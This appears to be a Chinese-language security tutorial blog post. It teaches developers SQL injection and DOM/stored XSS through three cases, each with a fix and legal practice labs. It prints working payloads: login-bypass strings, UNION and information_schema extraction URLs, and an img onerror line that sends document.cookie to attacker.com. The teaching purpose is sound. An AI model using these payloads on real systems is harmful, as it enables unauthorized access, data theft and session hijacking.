我不是搞安全研究的科班出身,但前些年在业务团队做后端时,被一次线上漏洞审计折腾得够呛。从那以后我才真正意识到:所谓“黑客入侵”,绝大多数时候并不是什么高深莫测的逆向工程,而是攻击者比开发多想了半步——他们提交的数据,从来就不是你以为的那个“数据”。这篇文章想聊的,就是信息安全里最经典也最容易出事的两个入口:SQL 注入和 XSS。我会用三个真实可复现的案例,把攻击者到底是怎么“套路”网站的、每一步背后是什么原理、以及我们写代码的人应该怎么防,全部拆开讲清楚。内容适合刚接触安全的后端开发、测试同学,以及想搞明白漏洞本质的网安爱好者。不需要你有渗透基础,跟着案例走一遍,你就能看懂那些漏洞报告里最常出现的攻击路径。
1. 三个案例的整体设计与拆解思路
1.1 为什么会选这三个案例
我最初给自己定的目标是:用最少的案例,覆盖最常见的两类漏洞,同时让每个案例都能在一个普通开发者电脑上复现。筛选之后,我留下了一条“由浅入深”的线索:第一个案例是 SQL 注入里最经典的登录绕过,攻击者不需要知道任何账号密码,只需要在输入框里把 SQL 语句“改写”掉;第二个案例把 SQL 注入从“绕过”升级成“读取任意数据”,完整演示攻击者如何从一个带参数的网址开始,一步步拖走整张用户表;第三个案例切换到 XSS,而且专门选了一个很多人会忽略的 DOM 型 XSS,因为它在后端代码里可能完全没有痕迹,很多团队就是在这里栽跟头。
这三个案例的共性在于:攻击者都没有“破解”任何东西,只是把原本就该被服务端信任的输入数据,变成了自己控制的“代码”。理解这一点,比记住任何一条 payload 都重要。
1.2 案例对应的攻击面与防御视角
从攻击面来看,前两个案例都发生在服务端:一条拼接出来的 SQL 语句,被用户输入改变了语义。第三个案例发生在浏览器端:用户提交的内容被当作 HTML 或 JavaScript 执行。攻击面不同,防御重心也就完全不一样。
- SQL 注入的核心矛盾是:数据和代码没有分离。修复思路是参数化查询,让数据库永远把用户输入当作“值”而不是“SQL 片段”。
- XSS 的核心矛盾是:用户输入被当作“页面代码”输出了。修复思路是输出编码,让浏览器把它当作纯文本显示,而不是去解析执行。
所以这篇文章虽然是“讲攻击案例”,但我真正想传递的是防御视角。每个案例我都会给出修复后的代码,以及一套可以沉淀到团队规范里的检查清单。
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. 案例一:SQL 注入登录绕过,一行万能密码打穿后台
2.1 攻击场景还原:一个看似普通的登录框
假设有一个老旧的管理系统,登录功能的后端代码长这样:
php复制$username = $_POST['username'];
$password = $_POST['password'];
$sql = "SELECT * FROM admin WHERE username = '$username' AND password = '$password'";
$result = mysqli_query($conn, $sql);
if (mysqli_num_rows($result) > 0) {
// 登录成功,跳转到后台
} else {
// 登录失败
}
这段代码最大的问题,是把 username 和 password 直接用单引号拼进了 SQL 字符串里。攻击者在用户名字段输入下面这行内容:
text复制admin' OR '1'='1
拼完之后,实际执行的 SQL 就变成了:
sql复制SELECT * FROM admin WHERE username = 'admin' OR '1'='1' AND password = ''
注意,SQL 的优先级里 AND 高于 OR,所以这句查询实际是先算 '1'='1' AND password = '',然后再和 username = 'admin' 做 OR。当然这里 password 一般也不为空,但这不影响结果——'1'='1' 恒真,整个 WHERE 条件必然为真。只要 admin 这个用户存在,这条查询就会返回该用户记录,登录校验直接被绕过。
更狠的写法是在用户名后直接注释掉后面的部分:
text复制admin'#
拼出来是:
sql复制SELECT * FROM admin WHERE username = 'admin'#' AND password = ''
在 MySQL 里,# 是行注释符,后面所有内容都会被忽略。这句 SQL 等价于只查 username = 'admin',密码根本不在判断范围内。
2.2 为什么“万能密码”能生效,以及它真正的杀伤力
我第一次看到 OR '1'='1' 这种 payload 时,第一反应是:这也太“幼稚”了吧,数据库怎么会理你?后来自己把 SQL 拼出来才明白,问题不在数据库,而在开发者亲手把用户的输入变成了 SQL 的一部分。这里的关键点是很多教程不会展开讲的:拼接产生的是“语义变化”,不是“报错”。攻击者不需要让程序崩溃,只需要改变查询的逻辑,让它返回攻击者想要的结果就行。
登录绕过的杀伤力不仅在于进入后台,更在于它通常只是第一步。后台往往能找到文件上传、数据导出、用户管理等功能,攻击面会迅速扩大。而且这种漏洞经常被扫描工具批量发现,如果一个系统存在哪怕一处登录绕过,大概率会被反复试探,直到被拿下某个敏感权限。
2.3 修复方案与实操注意点
正确修复方式不是“多过滤几个特殊字符”,而是放弃拼接 SQL,改用参数化查询。以 PHP PDO 为例:
php复制$stmt = $pdo->prepare("SELECT * FROM admin WHERE username = ? AND password = ?");
$stmt->execute([$_POST['username'], $_POST['password']]);
$user = $stmt->fetch();
参数化之后,即使用户输入 admin' OR '1'='1,数据库也只会把它当成一个普通的字符串值,去和 username 字段做比较,永远不会成为 SQL 逻辑的一部分。
实操中我见过很多失败的“修复”,这里列几个典型误区,大家对比一下自己有没有踩过:
- 只过滤单引号:攻击者可以用宽字节、URL 编码、十六进制写法绕过,过滤名单永远填不完。
- 用
addslashes或mysql_real_escape_string:在老版本的mysql_query下确实有一定作用,但换到 PDO 参数化仍然是最稳妥的;转义函数在字符集不一致时会有绕过的可能。 - 前端做 JS 校验就以为安全了:JS 校验只是用户体验,攻击者直接用 Postman 或者 curl 就能绕过前端,根本不会打开你的页面。
提示:登录功能除了参数化查询,还应该补充“失败次数限制”和“验证码”。即使参数化堵住了注入,也防不住攻击者拿撞库得来的口令去试密码。安全是层层叠加,不是只修一个洞就完事。
3. 案例二:SQL 注入从“绕过登录”到“拖走数据表”
3.1 攻击场景还原:带参数的新闻详情页
第二个案例更常见,也更难发现。某网站有一个新闻详情页,URL 长这样:
text复制http://example.com/news.php?id=1
后端代码大致是:
php复制$id = $_GET['id'];
$sql = "SELECT title, content FROM news WHERE id = $id";
$result = mysqli_query($conn, $sql);
注意,这里 id 甚至没有加引号,直接拼进了 SQL。如果攻击者把 URL 改成:
text复制http://example.com/news.php?id=1'
数据库会报错,页面可能显示 SQL 语法错误。这种报错本身就是信号:参数没有正确处理,注入点存在。
接下来攻击者开始判断查询的列数。用 ORDER BY 是经典手法:
text复制http://example.com/news.php?id=1 ORDER BY 1
http://example.com/news.php?id=1 ORDER BY 2
http://example.com/news.php?id=1 ORDER BY 3
如果 ORDER BY 3 时报错,说明原查询只有 2 列,通过不断试就可以确定列数。为什么要知道列数?因为下一步要用 UNION SELECT 把查询结果拼起来,要求前后两个查询的列数一致。
假设确定是 2 列,然后构造:
text复制http://example.com/news.php?id=1 UNION SELECT username, password FROM admin
如果管理员账号密码在 admin 表里,那么页面会把数据库里的数据直接打印出来。攻击者根本不需要“登录”,他直接通过页面把整张表“借”走了一遍。
3.2 联合查询注入的关键推导过程
联合查询注入有几个容易被忽略的细节,我在靶场里反复试过,把这几个点讲透:
-
第一步要保证原查询“查不到结果”,或者想办法让它查不到,这样
UNION后面部分的结果才能回显在页面上。所以 payload 里经常用id=-1或者id=99999:text复制
http://example.com/news.php?id=-1 UNION SELECT username, password FROM admin原查询查不到
id=-1的记录,结果集为空,UNION就把后面查到的admin表内容显示出来。 -
第二步要猜测表名和字段名。很多教程直接写
FROM admin,但在真实环境里表名不会这么明显。攻击者会先查information_schema.tables拿到所有表名,再查information_schema.columns拿到字段名:text复制
http://example.com/news.php?id=-1 UNION SELECT table_name, table_schema FROM information_schema.tablesinformation_schema是 MySQL 自带的元数据数据库,它记录了所有表、字段、库名的信息。只要注入点支持多语句或者 UNION 查询,这几乎等于把整个数据库结构白送出去。 -
第三步才是真正“取数”。拿到表名和字段名后,直接读取目标数据:
text复制
http://example.com/news.php?id=-1 UNION SELECT username, password FROM users
整个过程走下来,你会发现攻击者没有用任何“暴力破解”手段,他只是把一个本应只查新闻的接口,变成了一台“数据自助提货机”。这种漏洞如果出现在订单表、用户表、支付记录表上,后果可能是灾难性的。
3.3 修复方案与实操注意点
这个案例的修复同样从“参数化”入手,代码改成这样:
php复制$stmt = $pdo->prepare("SELECT title, content FROM news WHERE id = ?");
$stmt->execute([$_GET['id']]);
$news = $stmt->fetch();
但要额外强调的是数据库账号权限。我在线上排查时见过很多系统,业务库居然用的是 root 账号连接。这就意味着即使开发者某个地方忘了参数化,攻击者利用注入点甚至可以尝试 INTO OUTFILE 写文件,或者调用文件读取函数。正确做法是:
- 为每个业务单独创建数据库账号,只授予当前库的
SELECT、INSERT、UPDATE、DELETE权限,绝不能给FILE、SUPER、GRANT这类高危权限。 - 如果业务不需要动态建表,就把
DDL权限全部去掉。很多 SQL 注入的高级利用都依赖额外权限,权限收得越紧,漏洞被利用的深度就越有限。
注意:即使使用了参数化查询,也要对输入做类型校验。比如
id明确是整数,就先用filter_var($_GET['id'], FILTER_VALIDATE_INT)或者(int)$_GET['id']转成整数。参数化拦住了 SQL 语义注入,类型校验则能把很多异常输入提前挡在外面,属于成本最低的一层防护。
4. 案例三:DOM 型 XSS 偷走 Cookie,后端代码里看不到任何漏洞
4.1 攻击场景还原:搜索框回显与评论区的“隐形脚本”
第三个案例跟前两个完全不同。很多团队做安全扫描时,后端代码全部参数化了,SQL 注入堵得很死,但还是被 XSS(跨站脚本攻击)打得措手不及。问题出在哪里?出在浏览器端。
假设一个搜索页面,前端代码是这样的:
javascript复制var keyword = location.hash.substring(1);
document.getElementById('result').innerHTML = '你搜索的关键词是:' + keyword;
用户访问:
text复制http://example.com/search.html#<img src=x onerror=alert(1)>
location.hash 取到的是 # 后面的内容,也就是 <img src=x onerror=alert(1)>,然后通过 innerHTML 把它写进页面。浏览器解析这段 HTML 时遇到 <img> 标签,src=x 加载失败,触发 onerror 事件,执行了 alert(1)。
如果只是弹个窗,很多人觉得无所谓。但把 alert(1) 换成下面这段,问题就严重了:
html复制<img src=x onerror="new Image().src='http://attacker.com/steal.php?c='+document.cookie">
当受害者打开这个链接时,他的 Cookie 会被发送到攻击者指定的服务器。攻击者拿到 Cookie 后,如果网站存在会话固定问题、或者 Cookie 里带了会话标识,就能直接“借用”受害者的登录态,不需要密码就进入受害者的账号。
还有一种更常见的存储型 XSS 发生在评论区:攻击者提交评论时在内容里塞入 <script> 或 <img onerror>,后端没有做输出编码就存进数据库,其他用户浏览评论时脚本就在他们的浏览器里执行。这种攻击的传播范围是整个访问页面的用户群体,危害比单个链接大得多。
4.2 为什么 DOM 型 XSS 经常被漏掉
很多团队的漏洞扫描只关注 HTTP 请求和响应的交互,但 DOM 型 XSS 的数据流完全发生在浏览器端:输入来自 location.hash、document.referrer、window.name 等,这些数据甚至不会出现在后端日志里,而且响应页面本身是静态的,扫描器很难自动判断哪一条 JavaScript 路径会把不可信数据带入 innerHTML、document.write、eval 这类危险函数。
还有一个实际原因:后端同学容易觉得“前端的事不归我管”,前端同学又可能觉得“这是后端没做过滤”,结果 DOM 型 XSS 变成三不管地带。我见过不少团队的安全清单里根本没有“对输出到 DOM 的内容做编码”这一条。要修复它,首先要意识到:只要用户数据被当成 HTML 或 JS 代码解释,就会出问题,无论这段数据从前端来还是从后端来。
4.3 修复方案:从输出编码到 HttpOnly 再到 CSP
针对上面的 DOM 型 XSS,修复方式是用 textContent 代替 innerHTML,让浏览器把内容当纯文本渲染:
javascript复制var keyword = location.hash.substring(1);
document.getElementById('result').textContent = '你搜索的关键词是:' + keyword;
这样即使 keyword 里带了 <img> 标签,它也只会被显示成一段文字,不会触发加载和执行。
对于评论区这类需要存储富文本的场景,则不能简单地“一刀切”禁用 HTML,而是要采取分层防御:
- 输入端做白名单校验:只允许
a、p、b、i、img等安全标签,style属性、on*事件、javascript:协议全部拒绝。 - 输出端做 HTML 编码:
<转成<,>转成>,"转成",让脚本变成无害文本。 - Cookie 设置
HttpOnly属性:这样 JavaScript 无法通过document.cookie读取 Cookie,攻击者即使注入了脚本,也偷不走会话标识。 - 部署 CSP(内容安全策略):通过
Content-Security-Policy响应头限制脚本来源,例如只允许加载本站的 JS 文件,外部域名脚本一律拒绝。CSP 不是银弹,但能显著提高攻击成本。
提示:XSS 不只是偷 Cookie。攻击者还可以在页面上插入钓鱼表单,诱导用户输入密码;或者篡改页面内容发布虚假信息;再配合键盘记录脚本,能拿到用户在页面上的每一次输入。所以不要因为“HttpOnly 了偷不到 Cookie”就觉得 XSS 无所谓,它的危害面很广。
5. 实操中的常见误区与排查技巧
5.1 防御 SQL 注入的几个“假修复”
我在代码评审里见到过最多的问题,就是把安全寄托在“过滤”上。有团队写了一个全局过滤器,把所有请求参数里的 or、and、select、union 都替换成空字符串,看起来好像堵住了攻击,实际上攻击者用 SELECT 写成 SeLeCt 就绕过去了,或者用注释符 /**/ 隔开关键字。过滤本质上是在做黑名单对抗,黑名单永远有盲区,而参数化查询是直接从语义上消除了注入的土壤,这才是根治方案。
另一个常见误区是只在产品环境修,测试环境的数据库连接字符串没有更新。攻击者如果扫到测试环境,同样能拿到真实数据。我建议团队把“参数化查询”作为代码规范里的强制项,而不是靠某个人记得就修、忘了就漏。
5.2 排查 XSS 时最容易忽略的三个入口
XSS 的排查思路是反过来的:不要只盯后端接口,要从前端的数据流出发,逐个检查用户可控数据最终被送到哪里。
- 第一是 URL 参数和 hash。很多单页应用会把路由参数直接拼到页面里,或者写到
document.title。这些位置都可能被 DOM 型 XSS 利用。 - 第二是
localStorage和sessionStorage。有的前端框架会把用户昵称、偏好设置存到本地存储,再在渲染时取出来用。如果这个值可以被某个接口污染,就相当于扩大了攻击面。 - 第三是第三方前端组件。有些富文本编辑器、图表库、模板引擎自带 HTML 渲染能力,接入时要看清它的文档是否默认过滤了危险标签,别以为“用了组件就安全”。
5.3 合法练习渠道与最后的安全提醒
如果你看完这些案例手痒,想亲手试一下注入和 XSS 的效果,千万别拿公网网站练手。未经授权的测试在任何地区都属于违法行为,这一点没有商量余地。我自己练习用的是这几套环境:
- DVWA(Damn Vulnerable Web Application):经典漏洞靶场,自带 SQL 注入、XSS、文件上传等关卡,适合入门。
- Pikachu 靶场:中文界面,每个漏洞都配了原理说明,对新手特别友好。
- sqli-labs:专攻 SQL 注入,从基础到进阶有一整套关卡,能很好地训练联合查询的思路。
- CTFHub、CTFShow 这类平台也有专门的 SQL 注入和 XSS 技能树,适合做完本地靶场后挑战更贴近实战的题目。
练的时候有个笨但有效的方法:每次都把攻击 payload、执行结果、修复方案记到笔记里。我早期就是靠这个笨办法,把几十种注入绕过方式和 XSS 触发链路硬生生记成了肌肉记忆,后面看漏洞报告基本扫一眼就能定位到风险点。
说到最后,还是那句老话:没有“绝对安全”的系统,只有不断补强的系统。我现在的习惯是,写任何一段接收用户输入的代码,都默认这个东西是带恶意的,等把输入校验和输出编码都做好了,再把它当成正常参数用。这个习惯帮我省掉了大量返工,也让我在面对审计组和等保检查时心里特别踏实。希望这三个案例也能变成你的“安全直觉”起点,下次再看到那些想拼 SQL 字符串的代码,能下意识地拦住自己。
